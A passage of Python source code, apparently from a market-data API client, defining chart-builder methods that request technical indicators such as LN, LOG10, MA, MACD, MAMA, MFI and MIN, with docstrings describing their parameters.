outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ln(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of LN to chart builder
Natural Logarithm to the base of constant e(LN) transforms all data
points with natural logarithm.
This API call returns meta and time series values of LN. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = LNEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_log10(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of LOG10 to chart builder
Logarithm to base 10(LOG10) transforms all data points with logarithm
to base 10.
This API call returns meta and time series values of LOG10. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = LOG10Endpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ma(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
ma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MA to chart builder
Moving Average(MA) is used to smooth out price fluctuations and get
rid of market noise.
This API call returns meta and time series values of MA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param ma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
ma_type=ma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_macd(
self,
exchange=None,
country=None,
series_type="close",
fast_period="12",
slow_period="26",
signal_period="9",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MACD to chart builder
Moving Average Convergence Divergence(MACD) is a trend following
momentum indicator which works by subtracting the longer moving
average from the shorter one. MACD has an unstable period ~ 100.
This API call returns meta and time series values of MACD. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param fast_period: Number of periods for fast moving average. Must
be at least 1
:param slow_period: Number of periods for slow moving average. Must
be at least 1
:param signal_period: Number of periods to be plotted on MACD line.
Must be at least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MACDEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
fast_period=fast_period,
slow_period=slow_period,
signal_period=signal_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_macd_slope(
self,
exchange=None,
country=None,
series_type="close",
fast_period="12",
slow_period="26",
signal_period="9",
time_period="9",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MACD_SLOPE to chart builder
Moving Average Convergence Divergence Regression Slope(MACD_SLOPE) shows
slopes of macd line, signal line, and histogram. A negative and rising slope
shows improvement within a downtrend. A positive and falling slope shows
deterioration within an uptrend. MACD has an unstable period of ~ 100.
This API call returns meta and time series values of MACD SLOPE. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param fast_period: Number of periods for fast moving average. Must
be at least 1
:param slow_period: Number of periods for slow moving average. Must
be at least 1
:param signal_period: Number of periods to be plotted on MACD line.
Must be at least 1
:param time_period: Number of periods to average over. Takes values in the range from 1 to 800.
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MACDSlopeEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
fast_period=fast_period,
slow_period=slow_period,
signal_period=signal_period,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_macdext(
self,
exchange=None,
country=None,
series_type="close",
fast_period="12",
fast_ma_type="SMA",
slow_period="26",
slow_ma_type="SMA",
signal_period="9",
signal_ma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MACDEXT to chart builder
Moving Average Convergence Divergence Extended(MACDEXT) gives greater
control over MACD input parameters. MACDEXT has an unstable period ~
100.
This API call returns meta and time series values of MACDEXT. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param fast_period: Number of periods for fast moving average. Must
be at least 1
:param fast_ma_type:
:param slow_period: Number of periods for slow moving average. Must
be at least 1
:param slow_ma_type:
:param signal_period: Number of periods to be plotted on MACD line.
Must be at least 1
:param signal_ma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MACDEXTEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
fast_period=fast_period,
fast_ma_type=fast_ma_type,
slow_period=slow_period,
slow_ma_type=slow_ma_type,
signal_period=signal_period,
signal_ma_type=signal_ma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_mama(
self,
exchange=None,
country=None,
series_type="close",
fast_limit="0.5",
slow_limit="0.05",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MAMA to chart builder
MESA Adaptive Moving Average(MAMA) adapts to price fluctuations based
on the rate of change of Hilbert Transform Discriminator. More about
MAMA can be read here.
This API call returns meta and time series values of MAMA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param fast_limit:
:param slow_limit:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MAMAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
fast_limit=fast_limit,
slow_limit=slow_limit,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_max(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MAX to chart builder
Highest value over period(MAX).
This API call returns meta and time series values of MAX. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MAXEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_maxindex(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MAXINDEX to chart builder
Index of highest value over period(MAXINDEX).
This API call returns meta and time series values of MAXINDEX. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MAXINDEXEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_mcginley_dynamic(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MCGINLEY_DYNAMIC to chart builder
McGinley Dynamic(MCGINLEY_DYNAMIC) keeps all the benefits from the moving averages but adds an adjustment to market speed.
This API call returns meta and time series values of MCGINLEY_DYNAMIC. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = McGinleyDynamicEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_medprice(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MEDPRICE to chart builder
Median Price(MEDPRICE).
This API call returns meta and time series values of MEDPRICE. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MEDPRICEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_mfi(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MFI to chart builder
Money Flow Index(MFI) is used to identify overbought and oversold levels in an asset. In some cases,
it can be used to detect divergences, which might be a sign of upcoming trend changes.
This API call returns "meta" and "time_series" values of MFI. "meta" object consist of general information
about the requested technical indicator. "time_series" is the array of objects ordered by time
descending updated in real-time.
:param symbol: Name of instrument you want to request
For preffered stocks use dot(.) delimiter. E.g. BRK.A or BRK.B will be correct
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MFIEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_midpoint(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MIDPOINT to chart builder
MidPoint over period(MIDPOINT) is calculated as: (highest value +
lowest value) / 2.
This API call returns meta and time series values of MIDPOINT. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MIDPOINTEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_midprice(
self,
exchange=None,
country=None,
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MIDPRICE to chart builder
Midpoint Price over period(MIDPRICE) is calculated as: (highest high +
lowest low) / 2.
This API call returns meta and time series values of MIDPRICE. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MIDPRICEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_min(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MIN to chart builder
Lowest value over period(MIN).
This API call returns meta and time series values of MIN. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = MINEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_minindex(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of MININDEX to chart builder
Index of lowest value over period(MININDEX).
This API call returns meta and time series values of MININDEX. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
